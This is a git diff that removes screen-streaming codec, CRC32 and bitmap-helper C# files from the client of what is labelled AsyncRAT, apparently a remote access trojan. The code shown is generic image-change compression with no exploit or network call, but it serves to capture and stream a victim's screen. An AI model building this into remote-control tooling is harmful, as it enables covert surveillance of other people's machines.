(Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - y += s.Height; - } - - for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++) - { - s = new Size(CheckBlock.Width, Blocks[i].Height); - x = ScanArea.X; - while (x != ScanArea.Width) - { - if (x == lastx) - s = new Size(lastSize.Width, Blocks[i].Height); - - cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); - bool FoundChanges = false; - int blockStride = PixelSize * cBlock.Width; - - for (int j = 0; j < cBlock.Height; j++) - { - int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X); - if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0) - FoundChanges = true; - NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - } - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (FoundChanges) - { - index = finalUpdates.Count - 1; - if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) - { - Rectangle rect = finalUpdates[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - finalUpdates[index] = cBlock; - } - else - { - finalUpdates.Add(cBlock); - } - } - x += s.Width; - } - } - } - else - { - finalUpdates.Add(points[0].Rect); - } - } - - for (int i = 0; i < finalUpdates.Count; i++) - { - Rectangle rect = finalUpdates[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - base.jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - - if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height) - { - PopulairPoint point = null; - if (GetPopulairPoint(rect, ref point)) - { - point.Score++; - point.LastUpdate = Stopwatch.StartNew(); - //Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height); - } - else - { - populairPoints.Add(new PopulairPoint(rect)); - } - } - - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - - /*for (int i = 0; i < finalUpdates.Count; i++) - { - Rectangle rect = finalUpdates[i]; - int blockStride = PixelSize * rect.Width; - buffer = new byte[blockStride * rect.Height]; - - fixed (byte* ptr = buffer) - { - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr))) - { - buffer = base.jpgCompression.Compress(TmpBmp); - - if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height) - { - PopulairPoint point = null; - if (GetPopulairPoint(rect, ref point)) - { - point.Score++; - point.LastUpdate = Stopwatch.StartNew(); - Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height); - } - else - { - populairPoints.Add(new PopulairPoint(rect)); - } - } - } - } - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); - outStream.Write(buffer, 0, buffer.Length); - TotalDataLength += buffer.Length + (4 * 5); - }*/ - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - Blocks.Clear(); - ms.Close(); - ms.Dispose(); - } - } - - public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - if (Length < 4) - return decodedBitmap; - - int DataSize = *(int*)(CodecBuffer); - if (decodedBitmap == null) - { - byte[] temp = new byte[DataSize]; - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); - } - - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); - if (DataSize > 0) - { - Graphics g = Graphics.FromImage(decodedBitmap); - for (int i = 4; DataSize > 0; ) - { - Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), - *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); - int UpdateLen = *(int*)(bufferPtr + i + 16); - byte[] temp = new byte[UpdateLen]; - - fixed(byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) - { - g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); - } - } - DataSize -= UpdateLen + (4 * 5); - i += UpdateLen + (4 * 5); - } - g.Dispose(); - } - return decodedBitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - - private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint) - { - for (int i = 0; i < populairPoints.Count; i++) - { - PopulairPoint point = populairPoints[i]; - if (point.Rect.Width == rect.Width && - point.Rect.Height == rect.Height && - point.Rect.X == rect.X && - point.Rect.Y == rect.Y) - { - PopuPoint = populairPoints[i]; - return true; - } - } - return false; - } - - private PopulairPoint[] GetPossibleVideos() - { - List points = new List(); - for (int i = 0; i < populairPoints.Count; i++) - { - if (populairPoints[i].Score > 30) - { - points.Add(populairPoints[i]); - } - } - return points.ToArray(); - } - } -} diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs deleted file mode 100644 index 0719bd9..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs +++ /dev/null @@ -1,285 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeQuickStream : IUnsafeCodec - { - public override ulong CachedSize { get; internal set; } - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 0; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } - } - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private ulong[] EncodeBuffer; - - private int BlockWidth = 0; - private int BlockHeight = 0; - private Bitmap decodedBitmap; - - public List VerifyPoints = null; - - public Size CheckBlock { get; private set; } - public UnsafeQuickStream(int ImageQuality = 100) - : base(ImageQuality) - { - this.CheckBlock = new Size(50, 50);//width must be bigger then 3 - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle OutputRect, Size InputSize, PixelFormat Format, Stream outStream) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = InputSize.Width * PixelSize; - RawLength = Stride * InputSize.Height; - - - if (EncodedWidth == 0 && EncodedHeight == 0) - { - this.EncodedFormat = Format; - this.EncodedWidth = OutputRect.Width; - this.EncodedHeight = OutputRect.Height; - - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(OutputRect.Width, OutputRect.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - return; - } - - List Points = ProcessChanges(Scan0, OutputRect, Format, InputSize.Width); - - VerifyPoints = Points; - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - for (int i = 0; i < Points.Count; i++) - { - Rectangle rect = Points[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - base.jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - } - - private unsafe List ProcessChanges(IntPtr Scan0, Rectangle OutputRect, PixelFormat Format, int ImageWidth) - { - if (EncodeBuffer == null) - { - this.BlockWidth = (int)Math.Floor((float)(OutputRect.Width / CheckBlock.Width)); - this.BlockHeight = (int)Math.Floor((double)(OutputRect.Height / CheckBlock.Height)); - int TotalBlocks = (int)Math.Floor((float)(BlockHeight * BlockWidth)); - this.EncodeBuffer = new ulong[TotalBlocks]; - } - - List points = new List(); - int StartScan = Scan0.ToInt32(); - - for (int y = OutputRect.Y; y < OutputRect.Height + OutputRect.Y; y += CheckBlock.Height) - { - if (y + CheckBlock.Height > OutputRect.Height) - break; - - for (int x = OutputRect.X; x < OutputRect.Width + OutputRect.X; x += CheckBlock.Width) - { - if (x + CheckBlock.Width > OutputRect.Width) - break; - - int EncodeOffset = GetOffset(x, y); - long offset = FastBitmap.CalcImageOffset(x, y, Format, ImageWidth); - ulong* ScanPtr = (ulong*)(StartScan + offset); - - if (EncodeBuffer[EncodeOffset] != *ScanPtr) - { - EncodeBuffer[EncodeOffset] = *ScanPtr; - - Rectangle cBlock = new Rectangle(x, y, CheckBlock.Width, CheckBlock.Height); - int index = points.Count - 1; - if (points.Count > 0 && (points[index].X + points[index].Width) == cBlock.X) - { - Rectangle rect = points[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - points[index] = cBlock; - } - else - { - points.Add(cBlock); - } - } - } - } - return points; - } - - private Point GetOffsetPoint(int x, int y) - { - return new Point((int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth, - (int)Math.Floor((double)(x / CheckBlock.Width))); - } - - private int GetOffset(int x, int y) - { - return (int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth + - (int)Math.Floor((double)(x / CheckBlock.Width)); - } - - public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - - public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - if (Length < 4) - return decodedBitmap; - - int DataSize = *(int*)(CodecBuffer); - if (decodedBitmap == null) - { - byte[] temp = new byte[DataSize]; - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); - } - - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); - if (DataSize > 0) - { - Graphics g = Graphics.FromImage(decodedBitmap); - for (int i = 4; DataSize > 0; ) - { - Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), - *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); - int UpdateLen = *(int*)(bufferPtr + i + 16); - byte[] temp = new byte[UpdateLen]; - - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) - { - g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); - } - } - DataSize -= UpdateLen + (4 * 5); - i += UpdateLen + (4 * 5); - } - g.Dispose(); - } - return decodedBitmap; - } - } -} diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs b/AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs deleted file mode 100644 index 7e89054..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs +++ /dev/null @@ -1,186 +0,0 @@ -// Tamir Khason http://khason.net/ -// -// Released under MS-PL : 6-Apr-09 -using System; -using System.Collections.Generic; -using System.Text; -using System.Security.Cryptography; -using System.Collections; -using System.IO; - -namespace StreamLibrary.src -{ - /// Implements a 32-bits cyclic redundancy check (CRC) hash algorithm. - /// This class is not intended to be used for security purposes. For security applications use MD5, SHA1, SHA256, SHA384, - /// or SHA512 in the System.Security.Cryptography namespace. - public class CRC32 : HashAlgorithm - { - #region CONSTRUCTORS - /// Creates a CRC32 object using the . - public CRC32() - : this(DefaultPolynomial) - { - } - - /// Creates a CRC32 object using the specified polynomial. - /// The polynomical should be supplied in its bit-reflected form. . - public CRC32(uint polynomial) - { - HashSizeValue = 32; - _crc32Table = (uint[])_crc32TablesCache[polynomial]; - if (_crc32Table == null) - { - _crc32Table = CRC32._buildCRC32Table(polynomial); - _crc32TablesCache.Add(polynomial, _crc32Table); - } - Initialize(); - } - - // static constructor - static CRC32() - { - _crc32TablesCache = Hashtable.Synchronized(new Hashtable()); - _defaultCRC = new CRC32(); - } - #endregion - - #region PROPERTIES - /// Gets the default polynomial (used in WinZip, Ethernet, etc.) - /// The default polynomial is a bit-reflected version of the standard polynomial 0x04C11DB7 used by WinZip, Ethernet, etc. - public static readonly uint DefaultPolynomial = 0xEDB88320; // Bitwise reflection of 0x04C11DB7; - #endregion - - #region METHODS - /// Initializes an implementation of HashAlgorithm. - public override void Initialize() - { - _crc = _allOnes; - } - - /// Routes data written to the object into the hash algorithm for computing the hash. - protected override void HashCore(byte[] buffer, int offset, int count) - { - for (int i = offset; i < count; i++) - { - ulong ptr = (_crc & 0xFF) ^ buffer[i]; - _crc >>= 8; - _crc ^= _crc32Table[ptr]; - } - } - - /// Finalizes the hash computation after the last data is processed by the cryptographic stream object. - protected override byte[] HashFinal() - { - byte[] finalHash = new byte[4]; - ulong finalCRC = _crc ^ _allOnes; - - finalHash[0] = (byte)((finalCRC >> 0) & 0xFF); - finalHash[1] = (byte)((finalCRC >> 8) & 0xFF); - finalHash[2] = (byte)((finalCRC >> 16) & 0xFF); - finalHash[3] = (byte)((finalCRC >> 24) & 0xFF); - - return finalHash; - } - - /// Computes the CRC32 value for the given ASCII string using the . - public static int Compute(string asciiString) - { - _defaultCRC.Initialize(); - return ToInt32(_defaultCRC.ComputeHash(asciiString)); - } - - /// Computes the CRC32 value for the given input stream using the . - public static int Compute(Stream inputStream) - { - _defaultCRC.Initialize(); - return ToInt32(_defaultCRC.ComputeHash(inputStream)); - } - - /// Computes the CRC32 value for the input data using the . - public static int Compute(byte[] buffer) - { - _defaultCRC.Initialize(); - return ToInt32(_defaultCRC.ComputeHash(buffer)); - } - - /// Computes the hash value for the input data using the . - public static int Compute(byte[] buffer, int offset, int count) - { - _defaultCRC.Initialize(); - return ToInt32(_defaultCRC.ComputeHash(buffer, offset, count)); - } - - /// Computes the hash value for the given ASCII string. - /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. - public byte[] ComputeHash(string asciiString) - { - byte[] rawBytes = ASCIIEncoding.ASCII.GetBytes(asciiString); - return ComputeHash(rawBytes); - } - - /// Computes the hash value for the given input stream. - /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. - new public byte[] ComputeHash(Stream inputStream) - { - byte[] buffer = new byte[4096]; - int bytesRead; - while ((bytesRead = inputStream.Read(buffer, 0, 4096)) > 0) - { - HashCore(buffer, 0, bytesRead); - } - return HashFinal(); - } - - /// Computes the hash value for the input data. - /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. - new public byte[] ComputeHash(byte[] buffer) - { - return ComputeHash(buffer, 0, buffer.Length); - } - - /// Computes the hash value for the input data. - /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. - new public byte[] ComputeHash(byte[] buffer, int offset, int count) - { - HashCore(buffer, offset, count); - return HashFinal(); - } - #endregion - - #region PRIVATE SECTION - private static uint _allOnes = 0xffffffff; - private static CRC32 _defaultCRC; - private static Hashtable _crc32TablesCache; - private uint[] _crc32Table; - private uint _crc; - - // Builds a crc32 table given a polynomial - private static uint[] _buildCRC32Table(uint polynomial) - { - uint crc; - uint[] table = new uint[256]; - - // 256 values representing ASCII character codes. - for (int i = 0; i < 256; i++) - { - crc = (uint)i; - for (int j = 8; j > 0; j--) - { - if ((crc & 1) == 1) - crc = (crc >> 1) ^ polynomial; - else - crc >>= 1; - } - table[i] = crc; - } - - return table; - } - - private static int ToInt32(byte[] buffer) - { - return BitConverter.ToInt32(buffer, 0); - } - #endregion - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs b/AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs deleted file mode 100644 index 5ea4bfc..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace System.Runtime.CompilerServices -{ - [AttributeUsage(AttributeTargets.Method)] - public sealed class ExtensionAttribute : Attribute - { - public ExtensionAttribute() { } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs b/AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs deleted file mode 100644 index 82590e7..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Text; - -namespace StreamLibrary.src -{ - public static unsafe class Extensions - { - public static SortedList> RectanglesTo2D(this Rectangle[] rects) - { - SortedList> Rects = new SortedList>(); - for (int i = 0; i < rects.Length; i++) - { - if (!Rects.ContainsKey(rects[i].Y)) - Rects.Add(rects[i].Y, new SortedList()); - - if (!Rects[rects[i].Y].ContainsKey(rects[i].X)) - Rects[rects[i].Y].Add(rects[i].X, rects[i]); - } - return Rects; - } - - public static SortedList> Rectangle2DToRows(this SortedList> Rects) - { - SortedList> RectRows = new SortedList>(); - - for (int i = 0; i < Rects.Values.Count; i++) - { - if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y)) - { - RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList()); - } - if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X)) - { - RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]); - } - - Rectangle EndRect = Rects.Values[i].Values[0]; - for (int x = 1; x < Rects.Values[i].Values.Count; x++) - { - Rectangle CurRect = Rects.Values[i].Values[x]; - Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1]; - if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height))) - { - RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, tmpRect.Width + EndRect.Width, tmpRect.Height); - EndRect = Rects.Values[i].Values[x]; - } - else - { - EndRect = Rects.Values[i].Values[x]; - RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect); - } - } - } - return RectRows; - } - } -} diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs b/AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs deleted file mode 100644 index 319d630..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs +++ /dev/null @@ -1,353 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.Text; - -namespace StreamLibrary.src -{ - public unsafe class FastBitmap - { - public Bitmap bitmap { get; set; } - public BitmapData bitmapData { get; private set; } - public int Width { get; private set; } - public int Height { get; private set; } - public PixelFormat format { get; private set; } - public DateTime BitmapCreatedAt; - public bool IsLocked { get; private set; } - - public int Stride - { - get { return bitmapData.Stride; } - } - - public FastBitmap(Bitmap bitmap, PixelFormat format) - { - switch (format) - { - case PixelFormat.Format32bppArgb: - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - case PixelFormat.Format8bppIndexed: - case PixelFormat.Format4bppIndexed: - case PixelFormat.Format1bppIndexed: - break; - default: - throw new NotSupportedException(format + " is not supported."); - } - - this.bitmap = bitmap; - this.Width = this.bitmap.Width; - this.Height = this.bitmap.Height; - this.format = format; - Lock(); - BitmapCreatedAt = DateTime.Now; - } - - public FastBitmap(Bitmap bitmap) - { - this.format = bitmap.PixelFormat; - - switch (format) - { - case PixelFormat.Format32bppArgb: - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - case PixelFormat.Format8bppIndexed: - case PixelFormat.Format4bppIndexed: - case PixelFormat.Format1bppIndexed: - break; - default: - throw new NotSupportedException(format + " is not supported."); - } - - this.bitmap = bitmap; - this.Width = this.bitmap.Width; - this.Height = this.bitmap.Height; - this.format = format; - Lock(); - BitmapCreatedAt = DateTime.Now; - } - - public Color GetPixel(int x, int y) - { - byte* position = (byte*)bitmapData.Scan0.ToPointer(); - position += CalcOffset(x, y); - - byte A = position[3]; - byte R = position[2]; - byte G = position[1]; - byte B = position[0]; - return Color.FromArgb(A, R, G, B); - } - - public void SetPixel(int x, int y, Color color) - { - byte* position = (byte*)bitmapData.Scan0.ToPointer(); - position += CalcOffset(x, y); - - position[3] = color.A; - position[2] = color.R; - position[1] = color.G; - position[0] = color.B; - } - - public Color GetPixel(int x, int y, byte[] ImgData) - { - long offset = CalcOffset(x, y) + 4; - if (offset + 4 < ImgData.Length) - { - byte R = ImgData[offset]; - byte G = ImgData[offset + 1]; - byte B = ImgData[offset + 2]; - return Color.FromArgb(255, R, G, B); - } - return Color.FromArgb(255, 0, 0, 0); - } - public void SetPixel(int x, int y, Color color, byte[] ImgData) - { - long offset = CalcOffset(x, y) + 4; - if (offset + 4 < ImgData.Length) - { - ImgData[offset] = color.R; - ImgData[offset + 1] = color.G; - ImgData[offset + 2] = color.B; - ByteArrayToBitmap(ImgData); - } - } - - public void DrawRectangle(Point begin, Point end, Color color) - { - for (int x = begin.X; x < end.X; x++) - { - for (int y = begin.Y; y < end.Y; y++) - { - SetPixel(x, y, color); - } - } - } - - public Int64 CalcOffset(int x, int y) - { - switch (format) - { - case PixelFormat.Format32bppArgb: - return (y * bitmapData.Stride) + (x * 4); - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - return (y * bitmapData.Stride) + (x * 3); - case PixelFormat.Format8bppIndexed: - return (y * bitmapData.Stride) + x; - case PixelFormat.Format4bppIndexed: - return (y * bitmapData.Stride) + (x / 2); - case PixelFormat.Format1bppIndexed: - return (y * bitmapData.Stride) + (x * 8); - } - return 0; - } - - public static int CalcImageOffset(int x, int y, PixelFormat format, int width) - { - switch (format) - { - case PixelFormat.Format32bppArgb: - return (y * (width * 4)) + (x * 4); - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - return (y * (width * 3)) + (x * 3); - case PixelFormat.Format8bppIndexed: - return (y * width) + x; - case PixelFormat.Format4bppIndexed: - return (y * (width / 2)) + (x / 2); - case PixelFormat.Format1bppIndexed: - return (y * (width * 8)) + (x * 8); - default: - throw new NotSupportedException(format + " is not supported."); - } - } - - public void ScanPixelDuplicates(Point BeginPoint, ref Point EndPoint, ref Color RetColor) - { - Color curColor = GetPixel(BeginPoint.X, BeginPoint.Y); - for (int x = BeginPoint.X; x < this.Width; x++) - { - Color prevColor = GetPixel(x, BeginPoint.Y); - - if (curColor.R != prevColor.R || - curColor.G != prevColor.G || - curColor.B != prevColor.B) - { - EndPoint = new Point(x, BeginPoint.Y); - RetColor = curColor; - return; - } - } - - EndPoint = new Point(this.Width, BeginPoint.Y); - RetColor = curColor; - } - - public void Unlock() - { - if (IsLocked) - { - bitmap.UnlockBits(bitmapData); - IsLocked = false; - } - } - public void Lock() - { - if (!IsLocked) - { - bitmapData = bitmap.LockBits(new Rectangle(0, 0, Width, Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, format); - IsLocked = true; - } - } - - public byte[] ToByteArray() - { - int bytes = Math.Abs(bitmapData.Stride) * Height; - byte[] rgbValues = new byte[bytes]; - System.Runtime.InteropServices.Marshal.Copy(new IntPtr(bitmapData.Scan0.ToInt32()), rgbValues, 0, bytes); - return rgbValues; - } - - public void ByteArrayToBitmap(byte[] data) - { - System.Runtime.InteropServices.Marshal.Copy(data, 0, bitmapData.Scan0, data.Length); - } - - public void Dispose() - { - if (bitmap != null) - { - try { bitmap.UnlockBits(bitmapData); } - catch { } - try { bitmap.Dispose(); } - catch { } - try - { - bitmap = null; - bitmapData = null; - } - catch { } - } - } - - /// Get the byte points where to read from in a byte array - /// The beginning of the X, 